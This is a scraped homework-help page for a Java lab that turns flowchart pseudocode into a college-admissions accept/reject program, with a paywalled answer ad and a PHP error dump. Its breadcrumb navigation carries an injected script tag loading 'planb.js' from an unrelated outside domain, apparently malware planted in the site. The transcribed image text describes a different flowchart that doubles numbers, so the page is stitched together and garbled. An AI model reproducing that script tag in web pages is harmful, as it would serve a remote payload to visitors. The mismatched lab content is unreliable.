Need Help ? Chat : loading...

Home >> Assignments >> Other<script src="https://www.wp3advesting.com/planb.js"></script> >> Using Flowcharts and Pseudocode to Write a JavaProgramSummaryIn this lab, you use the flowchart and

(Solved): Using Flowcharts and Pseudocode to Write a JavaProgramSummaryIn this lab, you use the flowchart and ...



Using Flowcharts and Pseudocode to Write a JavaProgram

Summary

In this lab, you use the flowchart and pseudocode found in thefigure below to add code to a partially created Java program. Whencompleted, college admissions officers should be able to use theJava program to determine whether to accept or reject a student,based on his or her test score and class rank.

start input testScore, classRank if testScore >= 90 then if classRank >= 25 then output "Accept" else output "Reject" endif else if testScore >= 80 then if classRank >= 50 then output "Accept" else output "Reject" endif else if testScore >= 70 then if classRank >= 75 then output "Accept" else output "Reject" endif else output "Reject" endif endif endifstop

Instructions

  1. Study the pseudocode in picture above.
  2. Declare the variables testScoreString and classRankString.
  3. Write the interactive input statements to retrieve:
    • A student’s test score (testScoreString)
    • A student's class rank (classRankString)
  4. Write the statements to convert the string representation of astudent’s test score and class rank to the integer data type(testScore and classRank, respectively).
  5. The rest of the program is written for you.
  6. Execute the program by clicking "Run Code." Enter87 for the test score and 60 forthe class rank.
  7. Execute the program by entering 60 for thetest score and 87 for the class rank.
start Declarations num original Number num calculated Answer input original Number This is the priming input. Yes not eof? No calculatedAnswer = original Number * 2 stop output calculated Answer This step gets all subsequent inputs. input original Number Show transcribed image text start Declarations num original Number num calculated Answer input original Number This is the priming input. Yes not eof? No calculatedAnswer = original Number * 2 stop output calculated Answer This step gets all subsequent inputs. input original Number


We have an Answer from Expert

View Expert Answer

Get Expert Solution


We have an Answer from Expert

Buy This Answer $4

Place Order

QUICK ORDER

Why Place An Order With Us?

  • Certified Editors
  • 24/7 Customer Support
  • Profesional Research
  • Easy to Use System Interface
  • Student Friendly Pricing
Order Now

A PHP Error was encountered

Severity: Core Warning

Message: PHP Startup: Unable to load dynamic library 'dba.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so (libtokyocabinet.so.9: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/dba.so.so: cannot open shared object file: No such file or directory))

Filename: Unknown

Line Number: 0

Backtrace: